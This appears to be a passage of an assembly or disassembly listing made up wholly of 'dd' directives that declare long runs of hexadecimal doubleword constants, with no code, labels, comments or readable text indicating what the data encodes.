		dd 0F54A07A9h, 0A0C1383Dh, 2CD03E9Dh, 0A500DBE2h, 0CEB270EBh
		dd 33C2Bh, 160C7F21h, 55CBCC6Ah, 8487400h, 665990E9h, 115A0069h
		dd 3458FEE1h, 7A0114D3h, 0D72D8536h, 0B5603D47h, 50230080h
		dd 0EFBA75E7h, 74001FD8h, 28250BAEh, 8E5F89h, 469DFEA0h
		dd 713E2167h, 9EA46500h, 0B990AC4Dh, 73E90F2h, 174B74A5h
		dd 2A70C0DFh, 9604BE09h, 1A36FC9Ch, 8E77C987h, 0AD447240h
		dd 2C6500F2h, 6DD61F43h, 0BA1C2F9Dh, 9CC7DDAEh,	0D1F03944h
		dd 0E3FFFAh, 0D91C6912h, 8A3AC007h, 0A223C700h,	9A0A498Dh
		dd 6575008Eh, 0B53264ADh, 0A7006CD9h, 844869D0h, 9C303Ah
		dd 8567986Eh, 343D4931h, 6BA6067h, 0D9275080h, 668B5C52h
		dd 0FC80E23Fh, 0B4884001h, 0EB0EAFC8h, 80931CF2h, 0D20B776Dh
		dd 0B8250017h, 0C5F15C2Fh, 40004A83h, 27E67230h, 0BED966h
		dd 11F515AEh, 0FD17B4C1h, 2DFE2500h, 720886D4h,	5F9B00ACh
		dd 0D7F3D1F7h, 6900846Ch, 0CBA23467h, 0AAE41Eh,	0F4911042h
		dd 0B45576D2h, 0E890AB00h, 0F95E8F52h, 0EF1F1C73h, 8BDEC0CFh
		dd 28FCD040h, 0F6A1D107h, 33D0D52Ah, 3ABD2E1h, 0B9392461h
		dd 90FABCFBh, 0DEB58AC0h, 0F400367Bh, 4F9BA06Bh, 0AFBE4Dh
		dd 1B54381Eh, 0B91F41AAh, 0C2B5D724h, 0B7CF7503h, 7FAC0007h
		dd 57FE66EEh, 0D2B8B160h, 430BFD07h, 0FFD02526h, 0DDC69Ah
		dd 0F5F6C0EDh, 81533FE3h, 7AD3A702h, 60901F4Ch,	0E3667BCh
		dd 69C093A9h, 3CEBC09Fh, 38B7AB2Fh, 4979900h, 9F0E5556h
		dd 8FE9001Fh, 4A628031h, 5800385Ah, 1CD2C5E2h, 0A06DCDC6h
		dd 0FB49DF4h, 88242698h, 0A16B84A0h, 21003595h,	707AC418h
		dd 5C9A6Ah, 87EED4EBh, 481ED747h, 0EF06E800h, 0BDCB084h
		dd 59A0FCDEh, 1828C86Fh, 44417FF4h, 15759853h, 7E219400h
		dd 132D560Dh, 7DA6030Ah, 9B3EEE7Bh, 77DA4AF0h, 0FE50600h
		dd 0DC148DDFh, 0E47D000Dh, 0F8B6F50Ch, 640073D7h, 38A60746h
		dd 748B0A8h, 9D4B516Dh,	6CB500Fh, 0A40F27A2h, 60B3E0ACh
		dd 0DC103915h, 459A0068h, 0ADB55281h, 76B84997h, 2C4FE00h
		dd 0A913D456h, 0B4C50FDDh, 14067912h, 76FA11A8h, 30A54500h
		dd 46E1B8C9h, 9B7F3EFAh, 4707F400h, 57DA7669h, 0CF25E702h
		dd 0E3CD5E87h
		dd 0CAE3D8E9h, 2B2E091Fh, 9400569Ah, 0BBB06484h, 809BB539h
		dd 467A6542h, 9823AFh, 0FA73E3C7h, 82E12924h, 0BF127200h
		dd 6058C8D2h, 0F00700A5h, 4E6A8504h, 0C90071FFh, 0E14143CCh
		dd 1DAEC435h, 0C03825A2h, 0F2FD67DDh, 100DF0Bh,	0BC21977Bh
		dd 1F5B811Fh, 79598C78h, 0D47C6185h, 0EBAD00BEh, 0A9AF54B8h
		dd 32DDF20Eh, 2D55E7C2h, 2B5D1EE0h, 56FB39A8h, 63007BBCh
		dd 158A397Eh, 7200ABC5h, 55CC9417h, 814642h, 0F5F06C02h
		dd 5E8EEA6Ah, 37163FB8h, 1DEF2E13h, 0BC5D0035h,	0F5519DAEh
		dd 0AD1C3B1Ch, 830093DDh, 0D865268Eh, 152D0133h, 0ABBBC8CAh
		dd 8B1FE006h, 1E644212h, 0FA355807h, 0B29C6E30h, 222C3F8Ah
		dd 797DCD87h, 28EEAE52h, 40640012h, 0AE1FB64Bh,	6100E6E4h
		dd 1CB41D90h, 0F364DBh,	0F72797C7h, 1F4D1947h, 0E93F5890h
		dd 6F2280ACh, 0ADE5B13Eh, 17E77B13h, 9F8CA09h, 2000F104h
		dd 0BB0AE8B7h, 0B6EFE51Fh, 2233C80h, 50E2B158h,	0E8CBD159h
		dd 9FB30091h, 69F76393h, 22F09AAAh, 0B5000872h,	0ADCB9EF5h
		dd 3A7027h, 314D82FCh, 5867B24Eh, 0AA57C500h, 0D0476913h
		dd 0EC060056h, 2A90D6ADh, 40FB7192h, 1BA2B9ACh,	83E247ECh
		dd 1543A501h, 9C1741F3h, 1ED52A60h, 5E192188h, 0BBAE870Ah
		dd 16A3509Dh, 2307D8F4h, 7BB6C97Eh, 0A065FD33h,	26AECC9Ah
		dd 2D8D30h, 597DBE78h, 5B008C46h, 479EBCF8h, 628FC3h, 384176CBh
		dd 9F1822B9h, 490C0FAh,	0A5D6F500h, 25BAC3D7h, 0D4E0002Bh
		dd 58506F97h, 5A0E1D9Ch, 6332EE98h, 958C1FB4h, 905DE80Ch
		dd 4A640066h, 0E32A4492h, 612C75D5h, 2887405Ah,	95309CDAh
		dd 8647AEh, 0A9895E17h,	0F344AC35h, 9F4B1C00h, 0F2F1FAFh
		dd 0E8135451h, 0C47601h, 5E81273Eh, 43DC09E8h, 1A37F400h
		dd 8310C154h, 0BBF70EA6h, 0EBE02C36h, 60291EC0h, 240E5303h
		dd 0F0A889F9h, 0AA3F3h,	95A94A6Eh, 0EED01D5Ah, 8678141Ch
		dd 9DF080BDh, 5FEA98E2h, 614403C0h, 0DF3BF73h, 0A102EEDBh
		dd 0E51EAE9Ch, 0CE3C40C3h, 78E70024h, 268974FEh, 750005A4h
		dd 2521995Dh, 487BCF01h, 87816807h, 0E53479C1h,	0BCAFC51h
		dd 4BA5A200h, 8C4D8DF5h, 0D1FA0042h, 2DAEAC8h, 60002CADh
		dd 0C512514Fh, 72D0068Dh, 0EF90C08Ch, 5C5ADC95h, 0B63D23F8h
		dd 65AA1E4Dh, 74A29200h, 0F40C50h, 7CDCC782h, 0ED950FB2h
		dd 0CA056974h, 21A162ADh, 2549B4C0h, 4EE100C1h,	667E95F7h
		dd 137D67C5h, 0B41A5E00h, 12A8E75Ah, 6D713D6Fh,	19E8F287h
		dd 59CF639Eh, 3EC16088h, 8006083Eh, 5773E00Eh, 6C20402h
		dd 5271DF2Ch, 72EAB0BCh, 746A7700h, 0D4D6C66Bh,	8B491F19h
		dd 875694h, 0A6DDCE64h,	2C1F3E26h, 0ED00D729h, 0A4FB8CBDh
		dd 90440012h, 0BE6505B7h, 960F0672h, 0A01750C5h, 36C2B9B5h
		dd 45E624A3h, 0FA240094h, 9965649Eh, 7EA76A00h,	3BA50F06h
		dd 0EB7658h, 0B0A217EDh, 8059EAEFh, 61A4A100h, 8A721054h
		dd 6D740F8Dh, 0D1A02CBDh, 3C2264A3h, 0F47ECE00h, 73058A47h
		dd 4318C0D0h, 74EE9689h, 1A3C1800h, 153AF60Eh, 0F51E16C3h
		dd 0E5F847D3h, 0D9132014h, 62009AD6h, 0AB9E8380h, 58FBA6E9h
		dd 0BD007E3Bh, 76D82F44h, 11079353h, 0E0F6F53Ah, 0FF0BB17h
		dd 3AFA72D2h, 0D400C4EDh, 0EF184760h, 8C024C62h, 0D6F43832h
		dd 43BC4076h, 8F7A3Ah, 18EE0540h, 0D3C7D586h, 13447B5Ch
		dd 621DA72Ah, 2E2272C1h, 0D0F70439h, 1441CBh, 0E296A255h
		dd 8EF28078h, 7A07507h,	0D650EDE3h, 0F15D29h, 768335BAh
		dd 5B30845Ch, 8080C63Ah, 89FA31ECh, 0A0D52316h,	0B09440F8h
		dd 33B41C78h, 1C7E0096h, 0A72B4A34h, 0D100C475h, 0D3B8FDEAh
		dd 0BE7CF6h, 0B08EBD28h, 17FE97CCh, 0A0F3E000h,	798C65DCh
		dd 2AD20051h, 9CACCA60h, 0F50377AAh, 35F3E368h,	0D9BA88B4h
		dd 89370727h, 2712F879h, 5500AB31h, 52BD8576h, 9345D203h
		dd 0E8FCEDD9h, 48AC734Eh, 6405B48Ah, 841CD75Eh,	72F4C0C0h
		dd 0F90E4ACFh, 0C0187A60h, 48056ACCh, 9FF8DCh, 0A03A1669h
		dd 0F087C9B0h, 0BF0C5F00h, 66458ECAh, 3081E28Dh, 0F92191C8h
		dd 633C70D4h, 0A1AB00C3h, 88A54B9Bh, 47720742h,	40E4BC8Eh
		dd 0CCE610D8h, 0C7A3DA00h, 0C1375F87h, 11E2D1h,	0EE4CCB03h
		dd 8C8BD434h, 0EFFF0F00h, 0D72262C0h, 0D59A0096h, 881ABA68h
		dd 9718B950h, 551177CAh, 5C1800B6h, 815E920Dh, 6D000A17h
		dd 7F70ACFEh, 1D1FA2h, 0BB866638h, 5206D5A7h, 0FEF3A3Fh
		dd 40F4F813h, 8142A1C5h, 74B0168h, 66FAEA4Fh, 5CD4E88Eh
		dd 9BC5D200h, 96602B15h, 0E3F82E64h, 2C31006Ah,	48EB7C12h
		dd 0CB27210Eh, 43ECE071h, 1E2119Eh, 0C36C1468h,	406A01BCh
		dd 5A52ECCh, 0F051CC00h, 0AA76B0CEh, 7ABB00FAh,	784A7D29h
		dd 0C3FF554h, 0CB280034h, 13E498FBh, 0EEE100C7h, 8356667Fh
		dd 4D006173h, 500D5A9Ch, 1C4EAA2Ah, 403E8D0Fh, 842DB81Fh
		dd 0F0FEE8AEh, 700C87Bh, 5BB97269h, 246F7B80h, 0FF3D79Eh
		dd 8760A817h, 0E5B327D4h, 6DCC1D00h, 98506E9Dh,	471900D0h
		dd 0E7F3839Eh, 153EC7F9h, 25750067h, 56038B7Ch,	0EA6000EDh
		dd 1292D323h, 900ADBDh,	0A60CD2B5h, 0A285D0h, 221FB1A9h
		dd 0A0E03129h, 3840E300h, 0FD0A49B7h, 847806D5h, 0C279D3C3h
		dd 68EB2F0Eh, 9231C0D9h, 2BB9464h, 42E3D10Ch, 0D482656Ah
		dd 4542D399h, 22CA1463h, 0F200A227h, 2C530FE4h,	345FBBh
		dd 471FBD14h, 0A878A423h, 17AE3E1Ch, 0C001CEC1h, 9828E719h
		dd 0FA66EC00h, 0E13D94CCh, 1D00DFECh, 0E35B9337h, 0C14F955h
		dd 411F20B3h, 0C94CAED9h, 0DA2518A8h, 77EC6F40h, 0F401FCEh
		dd 0FD63400Ah, 0EEBD3E11h, 3BF6D500h, 68CE9D54h, 0D81500A9h
		dd 41B62173h, 0A500E384h, 0BFC522CBh, 9E2066h, 305AF5EFh
		dd 0F2CADE1Fh, 8D2FBB00h, 59F10C71h, 3C8FFCF6h,	0D2806D7Fh
		dd 0F2350A50h, 8C00FF78h, 663733E0h, 16C8F5E6h,	0F8C1CCh
		dd 2FC64B0Ah, 0AA00B299h, 4507A228h, 43E2E8h, 8A1D0AB0h
		dd 114DBA61h, 99298604h, 64F13807h, 241E48E0h, 6E3DBB6h
		dd 0F0DC53A5h, 0F6E96805h, 0D9806544h, 0EDF3A9Dh, 0D891D089h
		dd 77ADEAA0h, 0DB1E295Dh, 7C808F57h, 0CCAF9A68h, 0CD112432h
		dd 0CF920207h, 0BDE84FC4h, 0ED0127DBh, 1AC6C152h, 32FCFA2Dh
		dd 18D2005Bh, 0E6E9B020h, 1B008FF7h, 950A6BFh, 0B68B5334h
		dd 239C001Ch, 6BC2FBBEh, 119F3AC0h, 0D001C8h, 2D94C109h
		dd 93384EB6h, 0FF9BD00h, 0D7F1F557h, 667E10h, 8FE5DAEBh
		dd 8BDF58ABh, 2EE17400h, 492AA019h, 0EAC2090Fh,	342046AEh
		dd 52D59481h, 0FEC32Fh,	4227B808h, 49FE8B0h, 4A10F44Ch
		dd 23C5871Dh, 0BDB09A23h, 47CC749h, 6B766E00h, 3AC9A619h
		dd 0F253019Bh, 51CE9E7Ah, 0DB4080AAh, 78851EB0h, 7B9990A1h
		dd 0A0045B09h, 6A01C556h, 0C1810F18h, 30718F06h, 1FF0D8h
		dd 92175FA4h, 7686EE60h, 41FA7800h, 0F23585Bh, 0EFE0007Dh
		dd 0B7A65519h, 1E000B3Ah, 98538445h, 76814F74h,	464A0375h
		dd 72D91AA8h, 0E2418289h, 0DE2FB780h, 4C017051h, 9813A70Ch
		dd 0A1D4B669h, 5C6639F1h, 4E173F80h, 0D961DCD6h, 0E20E68F2h
		dd 625A1327h, 48E1C29Bh, 54A22528h, 0B7A462h, 56CC99C4h
		dd 75641FAAh, 0FC0B2600h, 9AD585E8h, 1E4B008Dh,	51814893h
		dd 2100EDDDh, 209940BCh, 0D3F6614h, 57B2302Ch, 1D4EC440h
		dd 2BADC8A8h
		dd 0B600E378h, 0EA5D7AB5h, 0D737Bh, 440B4DE5h, 68E01555h
		dd 660F4800h, 0D828A2FBh, 991B1F93h, 708A8038h,	8595FFDEh
		dd 0B15C0801h, 0EA6AD635h, 77F868F8h, 11BE0E5h,	2EB2983Ah
		dd 847C8FDDh, 44864E0h,	82A18880h, 721D00DAh, 0C2A5C6BFh
		dd 7C00DC2Fh, 54599856h, 904B6F1Ah, 0BC0013Eh, 0E6825840h
		dd 0DB61F1h, 47AF88B8h,	93418607h, 0B2C1DCD3h, 40346B45h
		dd 6846603Ch, 990DE6E0h, 0F903407h, 8C90A9B5h, 3A73BAA6h
		dd 7980EF7Bh, 0BCCD965h, 23093316h, 6DF0C4h, 0F7D61141h
		dd 0BF7F0051h, 265BD3EBh, 68FEE824h, 0A6D7F500h, 40C399EDh
		dd 182000BCh, 0F9679B31h, 6500D4E8h, 0DC29FAA7h, 559995h
		dd 0DAAE83D1h, 54CA8DFBh, 0EA002C7Bh, 2A6F75E1h, 2B4E82h
		dd 94F87708h, 0E8D83359h, 0B0AC6C00h, 2CFE9834h, 38CD7C1Ch
		dd 0B680A735h, 0CFBE58EAh, 0DC00C54Ch, 41696E10h, 535B4A2h
		dd 2F9FD1CCh, 0BC0D0A4h, 4200D297h, 0C9D7C84Dh,	59034460h
		dd 0D80100E4h, 0DEA5307Bh, 0C473E4CDh, 3F408549h, 0EDD3800Eh
		dd 82DA710Fh, 1FB50B17h, 98093F8Eh, 0E2527900h,	0E00D138h
		dd 6B8759BFh, 0F2407974h, 7B7830F4h, 0C7FAAE0h,	4A1F5F00h
		dd 40326E01h, 361F695h,	0CE66E055h, 0CB8829D7h,	0E60F1806h
		dd 0A0C5E84Dh, 5D8B229Fh, 0B093FAF3h, 2A820990h, 68205C0Eh
		dd 0E4D24BFAh, 16B74A00h, 69F0EEB1h, 8F2609E9h,	0A800F2ADh
		dd 6D2D3E3Ch, 1BA03260h, 682F48h, 6ED1BADDh, 0E7E03C21h
		dd 95F0F600h, 0A07F8E3h, 77EA39F1h, 5711B980h, 0A3E5705Eh
		dd 0C885C66h, 3D5FE60h,	0E3275448h, 0C000B0D8h,	0F2806864h
		dd 2C78122Bh, 3BA59BDBh, 413D3C9Eh, 0D524BACCh,	73C7299h
		dd 66838AC2h, 0F90580FFh, 98BFA5F4h, 7E421ED0h,	7AF60034h
		dd 3D2046B4h, 67F5CD01h, 0F35A2875h, 8933ECh, 87EE6C8Fh
		dd 0D9D85574h, 0B7477600h, 0F03E6925h, 0B6730766h, 5060A11Ch
		dd 6E0D20B8h, 0F17EE81Fh, 8B2D9D7Dh, 0AE3480FDh, 6B37A2D4h
		dd 211003Ah, 3FA14250h,	247CD29Fh, 88516700h, 84D5F5CCh
		dd 2FEF07DCh, 40A9AE43h, 0FBC0E36Fh, 0AD17503h,	0D399B69Ah
		dd 7CDE808Ah, 0FC7100CCh, 764C486h, 8C005D9Fh, 74B09C21h
		dd 0D2E09Ah, 3BB142Eh, 50ECE2C4h, 0A9E93F00h, 0C993A764h
		dd 5FCF0040h, 0A2B57669h, 8E83AF6h, 0D9B341C0h,	2C36A5h
		dd 5949E533h, 50B90DC7h, 57020700h, 0AD7D23Bh, 309F67B6h
		dd 0C9642014h, 0E106A5BAh, 4157174Dh, 0F2C53060h, 9036118Ah
		dd 7DF65807h, 0BCD002F7h, 0E47856EFh, 0EB990371h, 84A7DF85h
		dd 0A48BE7B0h, 8C410D39h, 0F1531CA3h, 89310744h, 0EB68E1A9h
		dd 16199440h, 52F6C900h, 6B83805Dh, 43FA00EFh, 1DF2E57Bh
		dd 1500297Fh, 6D863801h, 87D341h, 357D4B37h, 7A26586Fh
		dd 654480DFh, 82BEBB96h, 0C160D083h, 571D748Ch,	0B1419751h
		dd 0D491CC2Bh, 6ECD2180h, 195E777Dh, 0A68B4C2Eh, 6C0C21Ch
		dd 0D0AB96AEh, 0E0EA2CFFh, 9DDC0EA7h, 0C94B2F00h, 901CBC87h
		dd 0FA002659h, 35DA23F9h, 0D2360E39h, 4E15F17h,	707DBF41h
		dd 4400BA7Ch, 0B7BD327Ch, 1E7F21E7h, 89842008h,	24026AE5h
		dd 0F87064DDh, 0E40554Ch, 209A0548h, 0D80347B8h, 50420462h
		dd 0C0A7A3BAh, 0EA6B253Ch, 546C3D00h, 51CBBCAAh, 658C0077h
		dd 648E9E3h, 0C501A5E5h, 31733DBh, 0D6C810D5h, 0CDC01F73h
		dd 0DDD0428Ch, 506045C4h, 76048B26h, 0F983FF31h, 0DEF3C0C0h
		dd 0F5C90066h, 2DBFA3EAh, 8D01ED10h, 0B8A4AD7Fh, 7430532Ch
		dd 8ED40004h, 1458516Eh, 600DC55h, 8307494Ah, 0C84E5AE9h
		dd 0E59CE1B1h, 1240A5DEh, 5E26E2F4h, 198802FDh,	1E6CC93Ah
		dd 0F3F5B9C0h, 4272AE03h, 0E2B7490Ah, 786BC01Dh, 390F00ECh
		dd 3DA00515h, 6F00ACB5h, 0C4108319h, 3D95CE1h, 605F06D6h
		dd 37E0D3E2h, 0FD004EDEh, 417BD4A7h, 0E2829110h, 0B3B005CFh
		dd 0C00FF3D1h, 95282CFBh, 0AF078000h, 670638B5h, 0E9660015h
		dd 49689E30h, 4800017Bh, 0E10C8CDFh, 7B5D70Eh, 0C1C02AF3h
		dd 0D1D5D00Ah, 6D0CF469h, 0AA1E201Dh, 23E679h, 17D9951Ah
		dd 8359A44Fh, 8CB62F00h, 0A7CAE605h, 8B57096Ch,	28405D8Eh
		dd 0CF000312h, 0E4D8C2F7h, 5C118C5Ch, 0AD3BD6E2h, 141D1080h
		dd 0FF76ABBFh, 0C83BDA00h, 5B24459h, 0F22F0047h, 0BCB0543Dh
		dd 0DB011FD8h, 75FA37E5h, 388414C3h, 816519F8h,	0F0A33612h
		dd 0C200EF7Fh, 0D5AB214Eh, 0FF248846h, 0FAAF0C8h, 0E77D773Bh
		dd 286F39E0h, 450EE2BAh, 0FD4A6005h, 2EF6A7h, 83B1A26h
		dd 0D617D1DDh, 2C0B0AA2h, 0E2A00061h, 0F26C85h,	0BC21839h
		dd 0CB92347Fh, 0E28BF4Ch, 0C0035770h, 0BEB8CD5Dh, 0C8E70042h
		dd 6DFE7A07h, 0D5001E2Ah, 0EE96B679h, 1CD262h, 7E300D93h
		dd 0E99F9835h, 0DA83B00Fh, 0D705A076h, 792524F2h, 136E39F1h
		dd 5DEAC700h, 12E20C75h, 3BA73A1Fh, 100E748Ch, 0F905AC0h
		dd 3FAB9CE8h, 6A1DF480h, 0A8009F36h, 0A5135E54h, 58CC8Dh
		dd 0AE27F7DBh, 3CC0D792h, 0E601AB00h, 0FFBA9568h, 813200B3h
		dd 0BFA18CDh, 7F3FAFD6h, 79F180D3h, 0B8DB96EBh,	4FE848F6h
		dd 5C733E1Ch, 5465C09Bh, 0C9C58F17h, 0CD2B8501h, 7A98ECE5h
		dd 8629A041h, 5E40042Ah, 0D76FC02Eh, 76FE8971h,	0C7F337Ah
		dd 640090EAh, 0EA4A1297h, 9D7D5D74h, 0F74B7400h, 0AB00EE09h
		dd 2B53DBB2h, 981BB92Dh, 0F8E5124Dh, 8140B2EFh,	0AE602148h
		dd 0FA54DDE0h, 1724Bh, 0FCAA0229h, 0F6915A3Bh, 0E2205709h
		dd 215400F4h, 0A02352h,	0EBEF5519h, 59024761h, 0DD009C7Eh
		dd 0D449F46h, 7F1C0835h, 0BFCC0087h, 0E9E88A3Ah, 0A6007BFCh
		dd 0D473EBBh, 7D1F5D4h,	842925CBh, 435120C0h, 0D3077935h
		dd 0B44CEFFEh, 0D962D0B0h, 2575F640h, 59768DAFh, 6DCB8701h
		dd 0E8CC01FBh, 3B930068h, 1C811FF8h, 700CCCEh, 896564EFh
		dd 0C0C826A7h, 5899D078h, 0C01E0AF4h, 97C0BE0Eh, 0CD19E155h
		dd 0CEB00086h, 20E6B6BDh, 620027B7h, 0D2837BBBh, 0B32C0Dh
		dd 987CB890h, 4D221BDFh, 0BA9BA305h, 0B0021A27h, 7F7B75h
		dd 98A25A43h, 4A630B00h, 1B3BA8BFh, 8FCB3C6Bh, 0BE2BEF00h
		dd 0FE14B0AAh, 6AC34Ch,	7B66576h, 57818Ch, 0A4D48A13h
		dd 4EE58BD6h, 3F869A0Fh, 6A01A0B0h, 0E4179E3Dh,	7EE20FDBh
		dd 0A3404576h, 4F71203Ah, 0DA87271Ch, 927B3300h, 1A52550h
		dd 0CF44560Ch, 0D3E6B5D2h, 782D8FC0h, 71E28800h, 29ABA17Ch
		dd 589D0055h, 4B23D017h, 52008BD8h, 0AF039CEFh,	0F46A0FB0h
		dd 9EEA17F9h, 0E6C60BC9h, 5E00CE8Eh, 0BB07E59Dh, 4501F872h
		dd 0BE6B9103h, 0E020733Fh, 0EFC01FEBh, 0F2088081h, 747CE2D0h
		dd 25BD891Eh, 231B5B8Eh, 0C8281251h, 0F3D82Eh, 0CD1ED583h
		dd 57A7D4E8h, 763BC300h, 0ECEADF66h, 12E107E7h,	23FE5BF5h
		dd 78B0894Ah, 9800ADF7h, 5F9E7CCFh, 2C87AB6h, 0D05D4903h
		dd 4CC0FC79h, 6100BA22h, 92D6EFEAh, 3E0B0FC5h, 0C38019B7h
		dd 8A360DF3h, 7F00F864h, 49A80538h, 7D34B8Fh, 0A21BD842h
		dd 0D24DA033h, 0B1003168h, 0E1F555A9h, 0AE0BDCh, 0F648BEA3h
		dd 0AC1D3AF4h, 7A297007h, 0A2F0CED1h, 0B4DB17E1h, 5E9C9C28h
		dd 0E312F976h, 0FC600ED2h, 0E0008F6Eh, 66134917h, 7ECFFA00h
		dd 0D757CB1h, 0E2D70083h, 0E8E0DAB2h, 8F2F11CAh, 0DF3800C0h
		dd 2C69B9C2h, 0F3AD43h,	9B56FB8Ah, 6000BB04h, 1EA5397Eh
		dd 0FC3209h, 0E27FBFF1h
		dd 9D7D4DA2h, 847AB207h, 9630B947h, 0E430EAh, 133AC69Eh
		dd 7DA8F1FAh, 385E6A07h, 1D406EABh, 25F941h, 3ECF6F92h
		dd 0F368AFDAh, 3B691800h, 0B0972656h, 8D9A0065h, 0F51A8312h
		dd 2007B1Fh, 4066B535h,	0F0D3ECABh, 0A3F00037h,	550D9543h
		dd 0A5006CA0h, 0A4F27D3Ah, 5D604EDFh, 7F012035h, 5B4BF1EAh
		dd 4593E4D6h, 85AA2100h, 4DF965B1h, 50340082h, 0D5F45D8Ah
		dd 0ED0BDD9Dh, 0E58D28Eh, 0BC0012FBh, 0FDF524AEh, 506F3DDEh
		dd 92C73180h, 0C47C3D51h, 40159AA0h, 0DAB93Ah, 0DD38A42Fh
		dd 113EDA8h, 3FD7CD45h,	0C4586760h, 0C700F6A5h,	940BE538h
		dd 2FB79E48h, 98A71466h, 5F67144Dh, 0C0643700h,	96894D4h
		dd 5E738B21h, 34B72900h, 0A41D01D6h, 0B4C05628h, 38534884h
		dd 0D0E0EB8h, 4EDFB37Dh, 0A6C964F1h, 21DC0071h,	5C00D3AEh
		dd 686CCAF2h, 0B2BCA883h, 7CF82D81h, 0F457D800h, 28C077F6h
		dd 0B1977D22h, 0A49E8Eh, 0E1BB3D4Eh, 4707E8F5h,	0F169FB7Ch
		dd 0E372A10h, 6AE00059h, 44849122h, 4171A25Ch, 36032F01h
		dd 0A759C13Ch, 5C950AECh, 3700A717h, 0EA4DB1AAh, 0FC093B5Fh
		dd 0C1B7E8h, 8CBAE6D0h,	8CF0028h, 0BFF87AD5h, 1200C3BBh
		dd 2275EB4Bh, 0F8C2BD78h, 79412EE1h, 0CD110069h, 0C333F7Bh
		dd 49B88095h, 9C03D8Dh,	0FB600AB9h, 0A751D003h,	802620E4h
		dd 1FE67848h, 40901F42h, 23FB54A5h, 527DA2D3h, 4489AA02h
		dd 0F0AD17D0h, 65260000h, 54856AF8h, 1C008C76h,	9EBD20B3h
		dd 14CBF549h, 0ACA52F28h, 2EEA5E02h, 0D470B822h, 13537916h
		dd 25B73C80h, 39447EF9h, 81057252h, 40DC6776h, 0D793E0B4h
		dd 0A93A4255h, 707BDC6h, 71CB6D49h, 76225210h, 7E0605FAh
		dd 8083BFD6h, 0C102CFE0h, 843C3F00h, 0CB0F2D6Dh, 3097AF6h
		dd 38C5C651h, 30A7E77Bh, 402FD999h, 1E13311Eh, 9DCB3280h
		dd 0C6E553h, 0B539631Ah, 0C1E8B809h, 0A5AF5400h, 7DFAE9BDh
		dd 7D30005h, 84C49F53h,	60078C2Ah, 4CA59C41h, 6ACFA700h
		dd 94290020h, 1797B2BBh, 0B8058104h, 4A9664A5h,	0C5FD6081h
		dd 0AA9CC0CEh, 99109E5h, 4980786Fh, 0D79B4498h,	0B1BD7F00h
		dd 7706534h, 0A7F80538h, 80C2867Ah, 7B06C4B1h, 7FD9840Fh
		dd 4D438311h, 87E6B84Ah, 0DAEF016Ah, 0C43AB66Dh, 0CD3070A6h
		dd 1D720200h, 839C11F9h, 0DF2600F4h, 0EDE1F10Ch, 0C001E0F6h
		dd 370B6C4Dh, 4020CFF7h, 577A0026h, 15488FE8h, 7F7939B8h
		dd 80F10B8h, 5E63B22Bh,	2140821Fh, 25E5B981h, 0BB8B04D1h
		dd 0EC4E737Fh, 0C1DC5538h, 5065317Bh, 89649140h, 270F3891h
		dd 8FAFE1B5h, 0C0247EF2h, 5EC4004Dh, 0E80AD5F9h, 4601E2F4h
		dd 74420485h, 6ED06D16h, 7DFE3C23h, 3D696h, 141ACB89h
		dd 76006A9Fh, 7E34A7E7h, 9B488CCh, 0F8BC81CAh, 0D8B8A00h
		dd 8001FCE0h, 9F4729D9h, 2BECFFh, 5B23898h, 442E34B5h
		dd 6C0040F3h, 0E1AC27ADh, 25C21654h, 87CD0079h,	96E5E762h
		dd 994FCB00h, 37AD0E32h, 0B854F890h, 86762532h,	4B0ACC7Eh
		dd 0E81A8DFh, 0B71094CDh, 62DDC8h, 2B83C7E1h, 7CD320BAh
		dd 8570EA00h, 79F9A02Ah, 2D9D1251h, 87370029h, 2E906668h
		dd 85006894h, 195D7339h, 99A8A1FAh, 0EEB71880h,	3268C23Dh
		dd 0DA06C700h, 0FA16BFB1h, 0A5202FEh, 28B27092h, 4AA0E07Dh
		dd 0DFB6075Ch, 6746725Ah, 1D10A08Dh, 71E8FF4Ch,	9309631Ch
		dd 60F040C0h, 74D61874h, 87A70732h, 0C1735456h,	0F0DF98CEh
		dd 42EB56Ah, 6000AC46h,	65DB9F59h, 60587364h, 0B6011051h
		dd 755C74CEh, 0DAB07F80h, 77815D05h, 50A0A81Fh,	4A01023Eh
		dd 0E04D4F6Eh, 0D9FB7C40h, 749122Fh, 3FF07468h,	0B067A885h
		dd 57BBDh, 613C910Ah, 0BCED5B81h, 29B22C1Eh, 0A60DF601h
		dd 42E084B1h, 0BE4B006Fh, 0B9BAAB2Eh, 0D6399053h, 39418068h
		dd 6AAE40B6h, 3F9B0024h, 0E34A72A0h, 94723414h,	0E67DC900h
		dd 0F7991AF9h, 0F36906Ah, 1FF4ACA4h, 1E63806Eh,	0CC90E5AEh
		dd 95AC4DBh, 0E27988D0h, 935E800Bh, 31158C00h, 0CBE5EF3Bh
		dd 87221E13h, 0DB268072h, 0E9902F3h, 0D15DB200h, 0A725ECB6h
		dd 0B0530377h, 3846E32h, 0FFC851BBh, 61E4912Dh,	12CDE500h
		dd 1BECF07Dh, 79E90E02h, 92009441h, 6B709EA6h, 3189C302h
		dd 40CC1F82h, 272F9740h, 0E50777C4h, 9C80F9DFh,	0D465C92Dh
		dd 845B7824h, 3C884000h, 360146h, 85ED037Ah, 7502A998h
		dd 0B811B917h, 25E800FFh, 3A4A418Dh, 71074FF2h,	4D331C97h
		dd 53AE1750h, 78B71C22h, 0A69C4F29h, 58A16800h,	863F4C1Ch
		dd 33141EB4h, 0DAF96600h, 4AC35BE8h, 187C4241h,	0F821DE7Eh
		dd 23D8999Fh, 674000Ch,	0D4510DF9h, 0CB07BD19h,	3293E408h
		dd 0FF2028E7h, 5C25BA98h, 0F400C597h, 1B2A2E86h, 490191DCh
		dd 8253A5EAh, 32AB589h,	294816C8h, 0DB09CB98h, 0AE196600h
		dd 0B45C211Ch, 5C60B2B0h, 8400C83Bh, 0F88A61D1h, 0CD162826h
		dd 0CC0023BDh, 9DFB4550h, 0C90A0005h, 0F1A052B0h, 0A0B6309Ah
		dd 174583Bh, 814F3FA1h,	9BF071DDh, 96590015h, 23165430h
		dd 66009D6Dh, 1A4A3D74h, 3DA9C535h, 3C82FC34h, 0B5B945E0h
		dd 26FDE280h, 0EE3E71D1h, 0C94B00F9h, 75F80537h, 0F0673AA3h
		dd 0DB350078h, 4A333ED3h, 83001404h, 369354D8h,	4C94C54Dh
		dd 341D9492h, 0DBFC01A2h, 0C8CEF515h, 0F9009E1Ch, 0DF4614A9h
		dd 0C0CF0B8Ch, 0CC22BC04h, 1F01A09h, 0B400F4B4h, 0B7543EA4h
		dd 8C2003Bh, 9A7A5B0Bh,	9158CB2Eh, 899400B9h, 3FB357DCh
